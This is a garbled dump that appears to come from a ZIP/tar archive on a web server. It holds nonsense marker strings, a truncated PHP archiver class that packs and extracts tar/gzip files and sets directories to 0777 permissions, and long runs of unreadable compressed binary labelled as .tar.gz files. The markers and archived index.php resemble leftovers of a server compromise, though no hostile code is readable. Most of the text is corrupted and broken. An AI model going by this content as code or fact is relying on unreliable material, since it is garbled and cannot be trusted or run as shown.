nskldgskgsdgf hlsqmdklsqd speskdjqsjdss PK"[][7[7 index.phpnu[nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKR'#[F\ Diff.php.php.tar.gznu[[{o8OZN6[\Ҥ5A]DȒxwofHO-WlP<`/߲q؄~kN}|5~ dz*P"DFB/^D,h`i҇A?ŽoٙPB2a^ [(h FKvg\*y*S|n?i 4O?>B)CP3)G/x M57ռQ}pkHHq߅3: E#~е  "e y5$dhlr޽>~c` ifJxB M<$Dh<Å=&q5H<)b[> ^$\]e^(ŗޔB3Ì>+|͗,kpCKܳ]Q.BpXAcLg51vXGt}:j2Ez<\.Gr![!r߅0BbT4|_{t/䂇v'"~$=&7F69dd<ȥ]vR2Y4t ̙n&OQVV ǻʗZ(\ RNj("WZ&xekU:FBh]CX-&'[:2&CM5,_ ;pRMu1= )2̒XoC* <.1USK@~^61%|ֿ% mFhT "%GYtv_Mw̼fd`AW3q|8G *n9ŁM?E}linV[v3̇`:-<;A|9rb/}F#JJ@)!Q(<4Hv7q1l!XUhF~KδWutT{dr (!Bߵ/(gy@5 eš5x#Jaܯ,:Ě"&Tx ڊY 01YZ( ؉ wH3飱hXO&GGz7J.H0plN/V1^9*&[8mA"pк4Bp'a$g\ B|rAf?r?)ZC~ZwL Ui%obY9Mw7M _dǍ]2]¶ Y| 2; !SRKoQY:PKR'#[wKqq Engine.tar.gznu[=iwȑ_vFD񐯍8f2g{ތW*$[E҉g?UIiO2HޘjtWWWU N2I~{zA[ցhCF#؜{M1Û"mջ]vL8II5 H4d*r ȃN% `4x`q7n3JmjZy*r6$/у-6GmA]_ dem?D#KCwv&km:6M:+FwE+JXSd, Weɸױ^s4Ju)[tF|8b O,9|( d׎,*1)ïP\}]/s\xX$)qLA5~Ϳ wZͯu4ZnqSDv wߟy=D0<LXSWfA\D>YsUYjhPЌk.Y.^Ѥˆթ0q.aJU,kT TC$79,j%<쟱$գÄZ$+IugQ,nTIf٤)JRV ,+c2mtI ۥ[JeS $dǩ!y^Ϫ[WB[U(!AT__:!O:;i#wN~֓//x&@K$^!Hv'';>_xUgedf?3φ`;p͞ԩ% z&2Xˎz,KdY17e솨X bڊ\?I`YS%DGL:qO)}n g$A^ q$Qvr,a)QDW{2r$ k<ژ >9hOGrTRRE6Q N؞P2 n` c&bDgdB= DMß#Bqz ~Wh=K1DX= ;ulLO~sVz{?y%R$H1g?CB0S8'Y<1.&<&<oHK>^$46;*7HЩC5 9AeU׶Lܢ斔-P[ !ؽmvV8~MY)>Tjv5E7p,Cuho:dj][A.Huzߊ4˙^ |J1ωEC2r@@݁q%|=d|p"՞:: )D*iÖ 3 6؃^u hr/5\PמzVm3R-A${˕b(&O`M"{%iȵ$f5`!:tC^HSYk at%Ȗę_RbZ4Jk^{u`\?W #? ` Yo|)lvh;7܂ RM-`P{uӒlN$ހ#N0*%-ձGj\! jVjm:jNV6wooG,̫dBFk Ӫ2L ꦖ mNc,ǥL7eڡ7_T~f:ߗ5$*;p T́IT1UT1RKm\VJSf(g?0vv<@n.ZuX[ ghZl.k1,ckq#*z\豊3TS$@ 06eL[W Z}I:ˡkFÇz 1>U׵$SswfCa4NĿUtk&Hd7 Yh25-L݆hlŞZg]_"o?+!|n#tҡŧ֩-L,Q,iuz~4OUuX>4x|L|@|#7[G1zb%Trd]cZMUZMRm5zMu{TcV_&ҷC_,kR}D ȿO?lvh} g#<0NRɟN)q8d*m8ˡP m@^Saҙ>!ۼiɪ~y GjWAVcI$Aԙ<Fnzɺb}}} 7knwGa ܍.!6q2`ROH͖ ˏ3hc^W㮭lwTSCxaKScDPdy%J$ ,0̩]MCq-+ȏA8צW<$SQxp$hv<D^"W oԿCl ڌ!h1Wv O7 Te>Vrw'6,t  ˃,xA~.[,uV/5{'/劈iP;;ggD.~-xQuk4)e/c_!|ycrś&ȮC˒|#tG.Jjagƌ+L-a8;earu-[O)tʛ'kgKq-2Ww^H_l O:C(]KѥkoϯE}T " $ Q+m?ƔVe_ qi 4GKD+|:$@Dy(8WQr01Dm ʟI #(nfygD'®!ff3Ao`fm~_̱m|UC=>Tt:&AhH- ߴnD)^$l ̦$+ꀋoq@݂4K۷GNHfxCdu Z)@xʦ3ayaܬhvao&jh y2x0qLA-kE0FɨEIRE,,b2̘rRYR+hqy) 膷|5;Y!.| F8sbN? <̓l1=zwy꺹!Z+Ҫ(>miYV@<\X7$bW/M[ހ@NڬZ»XnE%2g彟^N0[[wTpz[PUQm ]Tk3UgY: O.OP, ]( yy \x0%gd(r疕UF_jҵV<+sX9rSRT4KdN(N6 2o4U] +#pR ̎tKvAs+nd{]É6dx.fJ1fX"U:E8Q h%ǭFH&`h  +vH͆e=iV`Yq;`4?Xo'u`i}0%CzJVB;YbSwÁ3[=ltFx]guc&W`A!B&])ъPHXzUg IN+y='LH=ZhYh+PAGK0T_ x>P3Sf6%E0J\ P#e,"1X@_.ܛN~B3c}2KgݴVVg$ ߀˸ꫲbO\mI 4q2a)Zph2SEfQMJU7KOG NFqs$Կ@wixqrPŬ˛[uFeϷA>{#܈PW(>25X; yTsl1:Wsr ` nd+ V̠aY̮8w⮾$+Vr,|Y-E4'x!=5F6lhՅcN|ZX&N Bèj]ڵ\he> sj-S.Ss=6b5A=:z|;KW΃eHr=p#[xtQ>w^:UEknt^o؂ UZE1bq˱:܃6(ꤝrp &8eV!ӪkStbw3`h^ٸPmd~NWS+^0;Njq 7݀* (D_A.Qi'( 0Ƽܒ>SUsUi*C/0:?breԪGgGכDT\01"_cv3GKnP]j׏Oڧ>3+k U~o#t$o?yً7o;y%R`4ZÒYVޢ 塺rlX^A;Wǯa& "WXv: SfY_fkF]Of@yae@>Z=Pׅ(ԁR+U4W,9v] KnIRO%{dkfZd+Wkɺ5̋{i^Bg S\pK7WSݝ[n|§Ju> ʾm<&E5Dӻ4ikC>J$Ve3K Ƈ/oZW,uZgFO˭w,:_G߿|<$c+O (}]Pn;e߄O$Hq21#1|ɨV~%0D`pK(1U"Ic}Ѳr,)G+>mﱈkwդSj07:F"7RTʘ/peIB]9oB:PP7)ol] j@o)34<TP{/ʡ<_dT6}Qo\v*xۆUl٘j^J<ۺx#YlHrJ^CJNxbSOxsHlhŵZ.78n Sp 6 p9y9@C RЅtBe4* ^;H8ppWeOgV?;t]뻩n7.rۗ<â8oPKR'#[_}o ova.tar.gznu[}cWu0 %WJ^G3iFhFY'Iz4=Y/`?աn%$`L -15oyUefv]Js=sν]Z[O$ykm;ntt/rxsrvp9Ɉz ;?g'>=#5KOI1o[|ɓ7N0߯y}婿<1}ĕvo;g~?,_u_>oafuq|]p Ϸ^vVɟG> ٞ|_؈/~8sO >ĕo7}ǹ|奫xVoI>}m'׾>_O<*\i[ǯbW<=۫_?&'mWBe UKo{)n{]o~+ \;swj,>x[_\Rfn}ߥg'<誇y}'o{)˟|<3Wԙ+C ~_.y K+'^/\ 9?zӹjz}~ _"y^oy ϟ?l~y_{=?.~z?ŧ?`zg-lzwjm?u5lƿ'̫n uD_7wݰD-~O9N^g<R}[>}Z}u y?5Y{>ż֢7,*TO~/o8^|e'_: ׻/9#/|#o)}ſؾ2f+$_ oW>?}39{=&C?~~G sɫN~eߜ|aMm _ۻyz|1/~X ֻ?3mz5׿缔 {W~;DةOz^<=g^ܿy|۷W_y/|}O { W߲ϫyW'^\|o?z?g§J=5xmɍ/g^X蛷i/b7mN؃?Ιu x჏7k޾MYyGLu>E?8#~_xqby?izW_BX3KMKL~ѵxϹ{{s/1G76Z'v~gr{K_~'W=O?n!_\<_?i~oh=X|xS=GE}C=Kw\?i_{?]gyoz=c7zL<+~Gߺ^OQo-,_>7\t^|!Oo> ɹwЯp^_۞fo=~#Wyr٫?o|k&t|3nha?P/˯_p՗W˯~}{w>ڻG~{z}<-f7(/*ډΗ^󃿼ۅg^cw>com?y|'ry%kz|zf5/Gp^~=u]Ǽvm9/m[kRӯGů+ 47>>>}+w}~[?{KYo薋{޿|ul|zؗ}_1m,G󉟷5/ȿiC}xYK74xf}/}?pm?w|Iŋӯ˒w~I!ӓ= 8|K^/˗G?>w_enY[܇&$i6[l'o;ssbG_ߧC_7ɿ?''W2~#o^}O_?gۻ}_5G?Ͽ|C}1N?̏6g}?~fًϼ:7-FӚ^|%/?ʗ|ox?^?!EHwQ;W+i| }ꋿ7Z_~}ݗ=~oxWCh麙֞G|=z~;;Wu[ovK6굽G_ai+?;sswV~_[|~}J<_|O^г3>z'Jow]wn}Vd!ׯle7|Q/hIO־}0o^xG׿3jNߦm7t+_T}቟'n2_OD)/v_yxCo_/^Ƿ^YA!pʋ#o|٧>4+7_^M[3z#/x}ncַ=jܷwϛ#78gUo>O}#/?lV/v>{I~ie-/~~~ןy ?95'_N7wn̐?~o&o}_ڸ~ǏOoNj =ڋfw??P=h߅mk;].˥E~~t?BԄFMԪ3nV.9"(Qv*p\`K؎DZK$*]kHs,*r"Ql"$&#Sd[s<ӓr593iL2\fw)]$C נmlJv[x^!¶ @2ODk#~ߚe!;$Nߚ$ 2fl[nk-W8P5lTD߶nW c&l-~`}d "Ea,r6Yx+Ң4̠+3$Ku+R,(S-Zh1d1HR2 v8C|B9`6O `P`'֥J8Kj5Ԁɖ&MFH`K&Td"rB86CB g!x ~ C*'nd0(߶<@i)CW, .6ˎ`]XK-V"2)e `` i g `R"lRH5plJ$CL6/tH~8^49Y!hZCATX mt#("djgD$ hs(d&a($+0IN[s4X_;\[Dsp2ڄЖtILO!i<F `22} ppmnhlxID2Ihx?dUΦ*]0|}DR ?"7@Jd"˶\f tk_áY@F  J`( })@T/ " $$I>ĵykQo"TYm4,BMG!!$R+jT2@܍2PkXs,, pA?P( ?g'c ZCBo$N9ʀx:K J!t( Ջ!q ΒK,%@0c8 0ɵ(rVE"rRX^*+p)ITrY)O i7^) {k@aKIKH#Iic I@QYҏa(9T }X&h$ˀPRZTs JVԠԩPd[HJ!AuB7*XA%6ZU5 @"ޢ" RUDR6 !Q$ ʒ |ᚘ3pjM+ 8ח (Hl&p Ə "0 %H4}RW`NAɦA$MB$YjmFB~#EE$HdLn/7,١ԓ8.&4 Z)yt%@5QL"DGbSA6X 5Hdр!-Tb3b,`9&KM,lGr@b:HH- C%} [c]d# FN8 ( !ı`DӟA Gx7^ $4+ Ȧ,Ҩc@:LCeQ B;)@YCI\v{S=<Ud;( V%԰"V'Jph IyfMفꏓSY~ 'eH'F, P*i7 nfK3ѵh6w L B.G~51 ЦGAǶ@ 66V n؆i+h0EZkdIbJ*\}azd4Y&=VBs& TIFPB iY;0 0@n@ l =, (9D ThJD=D#قP >@0A @= (8k a%PÖ"iUt-lm !FM59Cj;9)Y1 a@f29o< H1!25@\H760H9]M):T:$9NIa9B0^rdJƶdķfyԁdTmõIeJ`V)Iݬj`FKi$>A.iPTZ5J5v Xz2z|hḊPH[&:'%T'S+%Yq-6-EUnDNdLclhP&K0 M8^NDOI ՜7(/fҸG+Ϛ0ɲ#$Ϳ4\@59 9 dlT5XB,F?'  lP􌴦K+Ъ$w0$s]Ak:jԭWǎGF3ha1[v2Q(@&S4]ZMƂu@ p$dtp UVdN @ pI Zf!JYmU&ht2 V$&&t#q@gA G h@N 5EĔDAej52IcA ]Aqyb{hz 3xE{ eZ(ɡU RGڀ V*03hRr噅ljXE#i*^r*eL$d_8lW&,* )ͳ6Gt`*\X$q!{IM*@hЪ P0"ڠqMy뎚Vˁ`z(O`=sIVͷ@QJPS,5!j)*0b-9=w|SAM rk\fmh aCx() #J TF2U0ic j|Ž8 cb@2J^ny+&͖ J@'\@T!e` =@f?~_0C AMʫ@n Uʤ`i?n[0"=z`9U`NưP ԡKDnQz`--0:`./ږbn3(PJ(ڴ qaʺaYOK D@r;!ܛ8ϵ[<8΢7v޸lp:MȬ @*Jal@ے6qȯP4VJ*6գQQbNs4F; u-8M(4A, ֜}'Cq@fߢVvlejZפo\ 8 kN>VgdcR$7vbkb}tAPZL {aʴфX6R>L)[% *עX , 1˝!ƣUZoZL e!+FU`+rH0p/i&`MwZf8Bap2uDcsX&RH;IT")YBך<gW4~"W<\ՠx@y45S',*bA$YFTdnawU )IKJq]gی(4Y ؒК]. Ha`5+m$tX0CV1,bv4`AG,D0=ܲlGSԈ<(R7k4I<4\P~V'Y815VE5xjqe+[-eqdY/>h1 ]Y WVuG?UW)KB* @8ŸnDqLZ@ 2?& 7b{,\u>`7O]flm ShZv AzAj (TBcjk`DAMb޺W̧a:]D^-j!(2u݅EI\ AUՍMPFz'(Lh~4'ц)-qg V%eIQ@GAQxRMF)25%"(}ApR8 NI$K ;GuO4k5^IHZqs6r0G`cR|S'eJI FyHHXꜜb Tb9 #<D`5Bh>@Sad5,s6 b08&5Y7&pSـۥyxb)#s]cѰ$Ѥ:W 8Ihxc(Ւ~4aOVrVخprˠitp*TF$[bAR)6?$T!7> SB_WC!ϷC¯򇂏σn rm9A HqbqX$!AwZe% MFҭz L<76Ik$ Ma w}2` \\i:,{VSiRrP=.Z% ,ee"Y N84|Ha T,%}Pmis9QyQJ o"4N)̏Ec#4%uK$ƬviJM/H1ͥ`&غ4וWO,Xdk 69oʼ^[ 2O YFbu;Y N*m0\YS^D-6#<5 j,SJٚ4*W10f_^ĸ:}04/ n )I5;𵬪^3?{mNF*"$9 RRäS4&g-MJ(j4]xrR +=!7jAQeړĺ)( 093`f_:v1)wFwF. 䔚7M7U&>]&qe+T'Q=L1fT jB#+H&I$bDt3eɰUU2uȡ g\TjByRе%{ Ѱ4];8ET#4D)f+:,(r@%P"frD"KBhh]wPRCTvD&d?`)XJb/[wāOi~) (bVRY(Qӣi \ZMC !6J/ ۉ`h*7rrL\ oMao(MJs&|BZҐ;ք'Wte{qХ#V uw0* Z ]3F.iJYY&P< 3t1? %Rq`'k `3ĪA2+Ñ=-s\!y@NH (TA$,yRФ\X\g^!Ղ0z:S"WD^9xO-Qd)TF'MQ+%=w #\pF."Geq\P: ]Ud9ͪW35sTpq_LPfjBgik{!cge8,h?0G}V:5dAМmԠA ~4帢pv) FT0`5ڢ@P/h.Bsap0@ꏄQ!J`i` cC["  AxB,RL2K4<^5KAP]9X4RQ  50xB7т>c6C}GvmH84h3M7Q6'IΠ[⡵P:ӵ/k\z | pp~rɵ@~ +z4\%RݍeHerLVuĜݹǛ]7#]\Zٌ:#Aޕ+}wSt6_hͷ6?rww-/٩RÓN6Vά}7\nFź;' {v/T낫Pг̸M[$7|Hvkw`vMOX|;դ6eNi9ΝX/=ck't8%>t4mrݝ)#$(zR A+:ˮ /rٻՀ'_q/U6<'٨lf+T˲:㋹¦ֻImqݎஹZr֚b/ΰD&@['κʛQ[Y L5w`37;e?(7W mqmԛ"o*ީn,UV 6a){㌬4]+MR^DLw@'mN{2|Liw WW~wk3BZ47Slßڪ;K9E}%ނGї{J˽v4=]Mw9֫nݭ-†sXq%]{;6rFz?Iow/!w֪{'g3 7RX XSd3%2ba¬7"oa:]˯qTagPtԿ(E ;V0-b[s̚3ͬ-9c.JzlQs񬭚Zn{X'B]zkb>b2nZ]\p[dn޶Igqf[4"fʖ-X2*\vh&gE5'6znٛ ֦ygjz'![uRYonKzjgי-gYs{¡Ո 9) H|2(XjĉF<"b%}|j:Un6r}@ܰ9_+Dر$\]A{3R+@@@no#{YS߁\C7pSf@C?XM"u'p D,1dBj ݦ`l#)9Qh/nWeË5h.&0tk(u Xxs{5 AAn,@^mnҙ`&lfҹHGCA6QJ f+xx#qಘ}z`FiSkp`բʡ 8WךV ؊Fv~Z0, ]Z$+vs[meƛmkR>Cu팸#݌ ˺5l+3t r1^1xWJ2 _f9<2̵[-DN HS)b&\Gk6`_A3kj1ٚ5X 冗 v<;iI'f0^S-ó(ߍJ^PVm8}jP|ɰ[y%_,;J)åu՝U<#@;CAFBUоX[t aBQ%CHn4I@WE3~< &ɦMX4) r|V/  i9c<+6th h%_Ӓנ/\s5_7@/\#lS#;)Ϡ'tRnK/N@4)t gUc VrK{~/Lu|p%TO 2 tF!h)O?]%@"P&f(Lb;6)ST*e-:?' XDڢȱ$nl+ $Ê)@nW|T{u:Gs yzD:X' CKbe9PG -Rqt/IXJҮL+ rL*`, XÌg\}Rb4mr 0& 6n\ى.'4/2 7 _&61rAImaT[$ZTGG.ALy͢f\5Y,F+}&OzEɵ'le]pB-D0"Ӡ!(ڬD@^כ PiJj̔Q,+ f3"P9UPjWmH>*t?&xB2GLUt£@0/d-"+VO)9xuh t,o~KW|Цs2N eX; 䃕@GeJ\8E\-" ڋ ([p2)erTa0JDm {$= g$1ݑIݑOQ7L 48rșۦEu0H&胦' ;WRZZyޯ@뙄4[#r&9?o' ԐN51Iʻ 3NאNQ=Z41m&d[f(Z&xtEBk~RjI]h܎j$Ȇ!Y2- S1\BDQH 2o`-a4w$D2Adܵb{tTvd2):EMIQmDv ظRrT1)%1I)Z&h q-.30hY݇hnx% gj(bts;hAd\=f>m/ݷ3hj>'tҧsbICc ;161nlAO<-C;d5o W +!>C+g%~DPp +ti0TnkDB8V5H̯f#;ZYE.Cc 5 uMH픳wZTmDKorvgK?gMĥQ |r GC3VsI\kuJ>[+-!LS]lDr`[aG;$[F-,pvM8: ,+@o*^!z2te Z瑩_;>`5 fvn՞Ã[$?]E(q5-ĥ꩖ eKKU_ =P*qNd*|i߇cNQIRft@|֝R9aq~rl:=9@EKT4@GƚɛҔPRW;}*esZ ^$ӫ vq0M們)EH%`lg̦jdz#st ߿|6Vx"V,C_F3_#qPL4O&[Ϥr`* *{\Sۨ.գʰt'BN*+ K_6͟ʵt Μ:nB8 Ce0֖s_]vd8Ma[ݯ8d5e4\fD^7:-.CPaeGNȡ! 8ωr$nʉ;O [|s'懝'4JK@ H/t֞MLL6븿Hbfa„]=gMjruhII>m{,:p> ^r/9S:x`Wuj,tc6kaϾpYQ}jWo`8 {1l&VNOi}TKm.)!dAy/reʐJçc؎dY7dbgHĖ´;vk,Wl#^f2Ѹtz Q!j#A.ktx{CH\J6%=νn57T&U'(Zk%K`4Hñ=[v%\W#]>!;`J$H0WWBE[׶bB8,\=N׃ѐwqWi2$ N0 [5rDb^b|P GA2抅:(_V\+պPyb" +t4`0%;Aݸ)v;.t7K ;bp 9*ɺk46{kRl-RA[gbZͶVi^Sam%^5{f ochN{q. q!Ѷ`| Yk*U*Yk fɼ-5/эz#fÓ/KBYz.c mVwG/%Bl1S {zyϓXǓeX%I[Ʋg#̭l6=4].3Nbv8gn3I^)tW~ymc1tw겯_\_"8q.oS%0Sf n6I&,À,ph\( {Pe/j).^ZɅp ...Ֆ~x{`pW VR+ s堻e6ܑG7bkKr 